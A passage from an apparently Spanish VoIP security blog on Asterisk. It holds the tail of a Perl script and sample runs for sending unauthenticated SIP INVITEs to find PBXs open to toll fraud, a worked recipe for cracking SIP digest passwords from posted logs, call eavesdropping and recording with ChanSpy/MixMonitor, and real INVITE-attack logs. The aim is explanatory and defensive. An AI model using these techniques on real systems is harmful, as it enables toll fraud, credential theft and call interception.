	$msg .= "Cseq: 1 INVITE\n";
	$msg .= "From: 100 <sip:100@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 123\n\n";
	$msg .= "v=0\n";
	$msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
	$msg .= "s=session\n";
	$msg .= "c=IN IP4 $ip\n";
	$msg .= "t=0 0\n";
	$msg .= "m=audio 2362 RTP/AVP 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n";

	my $data = "";
	my $server = "";
	my $useragent = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /[Ss]erver/ && $server eq "") {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	print "\nReceiving:\n=========\n$data\n\n";
}

sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}
	my $random_string;
	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}
	return $random_string;
}

sub help {
	print qq{
Usage:  $0 -h <host> [options]

== Options ==
-n <integer>     = Number to call
-p <integer>     = Remote SIP port (default: 5060)

== Examples ==
\$$0 -h 192.168.0.1 -n 100
\$$0 -h 192.168.0.1 -n 666666666 -p 5060

};

	exit 1;
}

init();

El script únicamente admite un host a escanear, pero no sería muy complicado modificarlo para poder realizar escaneos de rangos para buscar centralitas vulnerables.

Tras ejecutarlo, en caso de que seamos vulnerables, veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:41676>
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq
Call-id: 77bc64f6f7b24ffd2b2a41d454f48aa5
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>
Call-ID: 77bc64f6f7b24ffd2b2a41d454f48aa5
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:657xxxxxx@192.168.2.9:5060>
Content-Length: 0

Como se puede apreciar, la respuesta por parte del servidor es un ‘100 Trying’, lo que nos indica que la petición ha sido aceptada y está intentando efectuar la llamada. En caso de que el número que hayamos indicado sea válido, simplemente se ejecutará la llamada. Si ponemos un número inexistente, no se efectuará, evidentemente … pero la respuesta nos servirá para verificar que la máquina es vulnerable.

En caso de que la configuración del contexto default sea correcta y no permita realizar llamadas veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:32986>
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z
Call-id: 5265813dee1ea0f4af3672f83c1694ea
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 404 Not Found
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>;tag=as084cea9d
Call-ID: 5265813dee1ea0f4af3672f83c1694ea
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Content-Length: 0

Obtendremos un ‘404 Not Found’. Y en el log del Asterisk veremos:

 == Using SIP RTP CoS mark 5
[Jan  5 19:12:45] NOTICE[14000]: chan_sip.c:22001 handle_request_invite: Call from '' (192.168.2.9:52838) to extension '657xxxxxx' rejected because extension not found in context 'default'.

Recordemos que mediante la variable allowguest (que por defecto viene a ‘yes’) podemos permitir el uso de peticiones anónimas. A pesar de tener bien configurado el contexto default, si allowguest=yes podremos realizar llamadas a extensiones internas del sistema. Por ejemplo:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

Sending:
=======
INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:40486>
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa
Call-id: 497cd8864668cd7580dace0dd3f357f2
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>
Call-ID: 497cd8864668cd7580dace0dd3f357f2
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:100@192.168.2.9:5060>
Content-Length: 0

Sin embargo, si establecemos allowguest=no nos solicitará autenticación y no nos permitirá llamar:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:46225>
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75
Call-id: cfd8b3380a3532be7ac7650026fd23fb
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>;tag=as58329940
Call-ID: cfd8b3380a3532be7ac7650026fd23fb
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="59b26d87"
Content-Length: 0

En este caso recibimos un ‘401 Unauthorized’ indicándonos la necesidad de autenticarnos para poder realizar llamadas.

 

Asterisk SIP cracking

Hay mucha gente que dado un problema en el registro con su Asterisk no duda en pegar el log entero en un foro para ver si alguien le puede ayudar con su problema. Como en el log no se ve ninguna contraseña, se supone que es seguro pegarlo, ya que no aparece en claro. Me refiero a algo así:


<--- SIP read from UDP:X.X.X.X:5064 --->
REGISTER sip:sip.server.com SIP/2.0
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>
Contact: <sip:pruebas@192.168.1.34:5064;transport=udp>
Supported: path
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40001 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

<------------->
--- (13 headers 0 lines)
---Sending to X.X.X.X:5064 (no NAT)
<--- Transmitting (NAT) to X.X.X.X:5064 --->
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d;received=X.X.X.X;rport=5064
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>;tag=as6f72938e
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40001 REGISTERServer: sip3
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="sip3", nonce="5f56a903"
Content-Length: 0

<------------>
Scheduling destruction of SIP dialog '83a422169dd5328e@192.168.1.34' in 32000 ms (Method: REGISTER)
<--- SIP read from UDP:X.X.X.X:5064 --->
REGISTER sip:sip.server.com SIP/2.0
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>
Contact: <sip:pruebas@192.168.1.34:5064;transport=udp>
Supported: path
Authorization: Digest username="pruebas", realm="sip3", algorithm=MD5, uri="sip:sip.server.com",
nonce="5f56a903", response="f43b50de15bb07f909787dfb8ab487f8"
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40002 REGISTER
Expires: 120User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

<------------->
--- (14 headers 0 lines)
---Sending to X.X.X.X:5064 (NAT)
<--- Transmitting (NAT) to X.X.X.X:5064 --->
SIP/2.0 200 OK
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d;received=X.X.X.X;rport=5064
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>;tag=as6f72238e
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40002 REGISTER
Server: sip3
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Expires: 120
Contact: <sip:pruebas@192.168.1.34:5064;transport=udp>;expires=120
Date: Sat, 11 Aug 2012 08:59:34 GMT
Content-Length: 0

<------------>

sip3*CLI>


Antes de ver cómo podemos sacar partido a esta información, que el usuario tan amablemente nos publica en los foros, vamos a ver cómo se hace un registro en un Asterisk.

En primer lugar mandamos un paquete de registro al servidor de VoIP, indicando nuestro deseo de registrar un terminal. Para ello le enviaremos una serie de datos (a través de un paquete REGISTER) , pero nunca nuestra contraseña.

Tras mandar la petición al servidor, este nos devolverá un error ‘401 Unauthorized‘ pasándonos 2 valores que necesitaremos para completar el registro. Estos valores son: ‘realm‘ y ‘nonce‘. Acto seguido, generaremos un MD5 (indicándolo como valor de la variable response) que nos servirá para registrarnos, enviando un nuevo paquete REGISTER .  El servidor analizará ese response y nos devolverá un 200 si todo va bien, o un nuevo 401 en caso de que la contraseña sea incorrecta.

¿Y cómo generamos ese MD5 que realizará la validación? Pues de la siguiente forma:



response = md5(A:nonce:B)

-> nonce recordemos que nos lo facilita el servidor tras el primer REGISTER

A = md5(user:realm:pass)

-> user es nuestro usuario, que podemos ver, en claro, en el paquete generado en el primer REGISTER
-> realm también nos lo facilita el servidor tras el primer REGISTER
-> pass es la contraseña del usuario que desconocemos

B = md5(REGISTER:uri)

-> REGISTER es esa palabra tal cual
-> uri la podemos ver también en el primer paquete y tiene la forma 'sip:host.com'

De manera que con el log que nos han posteado tenemos todos los ingredientes, incluyendo el ‘response’, que es el MD5 final con la contraseña incluida y, lo único que desconocemos de todo esto, es la pass, algo que podremos intentar crackear teniendo el resto de datos.

Analicemos:


A = md5(user:realm:pass)
A = md5(pruebas:sip3:???)

B = md5(REGISTER:uri)
B = md5(REGISTER:sip:sip.server.com)
B = b726873895519048d1838bf7b4d78df6

response = md5(A:nonce:B)
response = md5(md5(pruebas:sip3:???):5f56a903:b726873895519048d1838bf7b4d78df6)
response = f43b50de15bb07f909787dfb8ab487f8  <- según la captura

Con un simple crackeador de MD5 podremos averiguar la contraseña de ese usuario que ha publicado el log en un foro.

A ver quién averigua la contraseña del ejemplo, que es de las fáciles 🙂

Servicios de llamadas gratis

Hay cientos de páginas web que nos ofrecen servicios de llamadas gratis a casi cualquier destino del mundo. Supongo que mucha gente tendrá la duda de si esto es o no cierto ya que, como se suele decir, nadie da duros por pesetas.


Realmente esto es cierto. Se realiza una llamada a una pasarela y pagamos el coste de la llamada a ese número, normalmente móvil nacional, y el desvío de la llamada al destino final es gratuito para nosotros. Es decir, Podemos llamar a Alemania, por ejemplo, a coste de llamada a móvil nacional. Y si nuestro operador nos permite poner un número favorito al que llamemos gratis, y escogemos la pasarela, podemos llamar totalmente gratis a otros móviles o destinos internacionales … siempre que nuestro operador cumpla el contrato y no nos facture luego las llamadas a ese número favorito (que no sería la primera vez que, por abuso, un operador incumple el contrato).


El funcionamiento es sencillo, nosotros llamamos a un móvil, que va conectado a un servidor de VoIP. Al descolgar nos pide que marquemos el número destino, y se efectúa la llamada a través de la pasarela. Nosotros pagamos sólo la llamada de nuestro móvil al de la pasarela y la segunda llamada corre a cargo del operador de VoIP que ofrece este servicio.


¿Dónde está el truco? El operador asume el cargo de esas llamadas que realizamos pero, el número al que estamos llamando, la pasarela, es un número retribuido, es decir, nuestro operador cobra (evidentemente una cantidad superior a la del coste de la llamada) por cada llamada recibida en ese número. Total: segundos recibidos – segundos hablados = beneficio.


Buscando en Internet, una web curiosa que he encontrado es freecall.com en la que dicen que ofrecen el servicio freecall más barato:

FreeCall | The cheapest freecalls on the planet!


Si freecall es gratis, ¿qué hay más barato que algo gratis? 🙂


Y bueno, ¿Cómo podemos montar nuestro negocio y ganar algo de pasta?


– Nos montamos un servidor Asterisk con un servicio de pasarela.

– Contratamos con un operador un número retribuido, del que percibamos un beneficio por cada llamada, a razón de los segundos hablados. Y le decimos que nos entregue las llamadas en la IP de nuestro Asterisk.

– Creamos una bonita web que ofrezca llamadas gratis a los destinos que ofrezcamos.

– Sacamos las llamadas a través de un SIP trunk con un operador de salida.


Por un lado, pagaremos a nuestro operador de VoIP las llamadas realizadas y por otro lado, el operador del número retribuido nos pagará por el uso de ese número. Como he comentado, hay que permitir usar únicamente destinos cuyo coste sea inferior a lo que nos pagan por la retribución de llamadas, sino haremos un mal negocio.


Si lo único que quieres es sacarte un dinerillo, siempre puedes usar ese número retribuido como número móvil personal y, en lugar de montar una pasarela, desviarlo a una extensión SIP que tengas configurada en tu móvil. De esta manera, cada vez que te llame alguien, estarás ganando dinero y, como el desvío es a una extensión, no necesitarás un SIP trunk y por tanto no tendrás que gastar dinero en llamadas.


El caso es que si montamos una pasarela, creamos una web, la posicionamos y conseguimos que mucha gente use este servicio, cualquier llamada que realicen a través de la pasarela, va a pasar por nuestro Asterisk, por lo que tendremos el control total de esa llamada, pudiendo, por ejemplo, realizar escuchas o grabar conversaciones.


Para realizar una escucha en directo basta con usar el comando Chanspy:

– Creamos en el Dialplan la extensión 9999 (por ejemplo).

– 9999 => Extensión que marcamos para acceder.

– 1234 => Nuestra contraseña.


Realizamos una llamada interna, desde cualquier extensión, al 9999 y tras poner nuestra clave (en este caso: 1234), marcamos la extensión que queremos espiar, que será la de la pasarela.


Para grabar una conversación usaremos el comando Mixmonitor:

– Añadimos el comando en la extensión donde recibamos la llamada externa (por ejemplo la 100).

– 100 => Extensión que monitorizamos.

– h => Ejecutamos un script al finalizar la llamada.
Guardamos la llamada en /tmp.

Con un script podemos convertirla a MP3 y mandarla por mail.


La moraleja de todo esto es que muchas empresas ofrecen servicios de llamadas gratis pero, ¿qué sabemos de esas empresas? ¿estarán grabando nuestras conversaciones? ¿quién habrá detrás de todo esto?

 

Asterisk – INVITE attack

Cuando hablamos de VoIP, la mayoría de los ataques con éxito están relacionados con malas configuraciones. A parte de posibles 0-days que puedan surgir y permitan a un atacante hacerse con el sistema, hay infinidad de scripts y programas que no sólo intentan buscar y crackear cuentas de usuario, como el famoso sipvicious sino que hay un tipo de ataque en concreto que se ha hecho bastante conocido y que ha dado muchos quebraderos de cabeza.


A pesar de que es algo antiguo, se sigue viendo este tipo de ataques, por ejemplo, en este proxy SIP de pruebas que ha montado el amigo @linuxmaniac:

Feb 14 19:55:48 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:48 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:40879903080866@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:40879903080866@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJf94b43055bQNdlDwuK8IgNjjWNGgnp@184.106.171.219
Feb 14 19:55:48 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:48 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:0442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:0442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed94x2TTRksZHBKr@184.106.171.219
Feb 14 19:55:50 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:50 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:00442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:00442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed92FESbviHe6VIp@184.106.171.219
Feb 14 19:55:52 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:52 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:000442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:000442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed90LMpE7cf6xj0g@184.106.171.219
Feb 14 19:55:54 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:54 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:001442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:001442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8eTxhaDNCbgBoV@184.106.171.219
Feb 14 19:55:56 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:55:56 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:9011442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:9011442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8cEyW8PTMdM9xK@184.106.171.219
Feb 14 19:55:58 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:55:58 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:900442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:900442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed8a8PtrObFtggpA@184.106.171.219
Feb 14 19:56:00 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:00 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:011442032988743@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:011442032988743@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed87e4w6VZm12C7X@184.106.171.219
Feb 14 19:56:02 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:02 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+9011442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+9011442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed851dWaeL3kSQTp@184.106.171.219
Feb 14 19:56:04 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:04 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+900442032988739@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+900442032988739@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed832nfhK1PnDBhq@184.106.171.219
Feb 14 19:56:06 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:06 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+9442032988740@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+9442032988740@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493ed815SQTGS3vOzNl@184.106.171.219
Feb 14 19:56:08 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:08 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:9442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:9442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbfyeVcmlm4Bi41@184.106.171.219
Feb 14 19:56:10 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:10 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+90442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+90442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbdQOj7GUW7ft7P@184.106.171.219
Feb 14 19:56:12 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:12 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:90442032988738@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:90442032988738@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edbb5fzz8bUYCteH@184.106.171.219
Feb 14 19:56:14 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:14 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+00442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+00442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb9p3RCA6IavNWv@184.106.171.219
Feb 14 19:56:16 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:16 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+011442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+011442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb7SmzBrJIb3oOJ@184.106.171.219
Feb 14 19:56:18 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:18 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb5efuPiaVPGrEN@184.106.171.219
Feb 14 19:56:20 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:20 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:+000442032988741@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:+000442032988741@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb3gLzf7noBsq32@184.106.171.219
Feb 14 19:56:22 linux /usr/sbin/kamailio[8104]: INFO: <script>: FLT_ACC
Feb 14 19:56:22 linux /usr/sbin/kamailio[8104]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:1442032988742@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:1442032988742@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edb1wCL2P0rcTk2t@184.106.171.219
Feb 14 19:56:24 linux /usr/sbin/kamailio[8103]: INFO: <script>: FLT_ACC
Feb 14 19:56:24 linux /usr/sbin/kamailio[8103]: ALERT: <script>: INCOMING from unknown source M=INVITE RURI=sip:442032988734@XX.YY.ZZ.189 F=sip:unknown@184.106.171.219 T=sip:442032988734@XX.YY.ZZ.189 IP=184.106.171.219 ID=aJfA4b43055b3493edafyoQN4NAWd100@184.106.171.219

Llevamos 2 días sufriendo este ataque y la solución es fácil, bloquear la IP, pero como es un servidor de pruebas, estamos aprovechando para testearlo 🙂



Como podemos ver, hay alguien desde la IP 184.106.171.219 (de Texas – USA) que está enviando diferentes INVITEs, y tratando de hacer llamadas al Reino Unido. Además, está jugando con diferentes prefijos para ver si se salta las restricciones del Dialplan: con 00, 0044, +0044, etc.



Al contrario de lo que piensa mucha gente, NO es necesario estar registrado para realizar una llamada. El comando REGISTER únicamente sirve para que nuestro servidor de VoIP sepa que estamos ahí y si llega una llamada destinada a nosotros, nos la pase. Es decir, nosotros nos registramos y le indicamos nuestros datos al servidor para nos tenga localizados y sepa contactar con nosotros.

Por el contrario, a la hora de hacer una llamada, basta con enviar una petición (INVITE).



¿Qué ocurre cuando tratamos de realizar una llamada?
Da igual que marquemos 100 que marquemos 0044545454545, aunque nosotros visualmente pensemos que 100 es una extensión interna y lo otro un geográfico, para el sistema es sólo un número y lo que va a hacer es, tras recibir un INVITE, intentar conectar con el destinatario. Al ser una llamada externa, buscará en el contexto ‘default’.



Normalmente, tendremos algo así en nuestro extensions.conf (de forma muy resumida):

[internal]
exten => 100,1,Dial(SIP/100,30,t)
exten => 100,n,Hangup()
exten => 101,1,Dial(SIP/101,30,t)
exten => 101,n,Hangup()

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

[phones]
include => internal
include => external

[default]
include => internal


Y en nuestro sip.conf incluiremos las extensiones en el contexto ‘phones’, para que puedan realizar llamadas tanto internas como externas:

[100]
type=peer
secret=xxxxxxxxxx
context=phones
[101]
type=peer
secret=xxxxxxxxxx
context=phones

De esta forma, al recibir una llamada, se intentará localizar únicamente las extensiones internas, que son las permitidas en el contexto por defecto. Del mismo modo que permitimos realizar llamadas fuera, a través del trunk, únicamente a los teléfonos registrados.


¿Qué es lo que hace la configuración de arriba?
En ‘internal’ se permite sólo llamar a las extensiones 100 y 101, pero en ‘external’ le estamos permitiendo realizar cualquier llamada (X puede ser cualquier número y el . indica cualquier longitud).


Por tanto, si pusiéramos en ‘default’ algo así:

[default]
include => internal
include => external

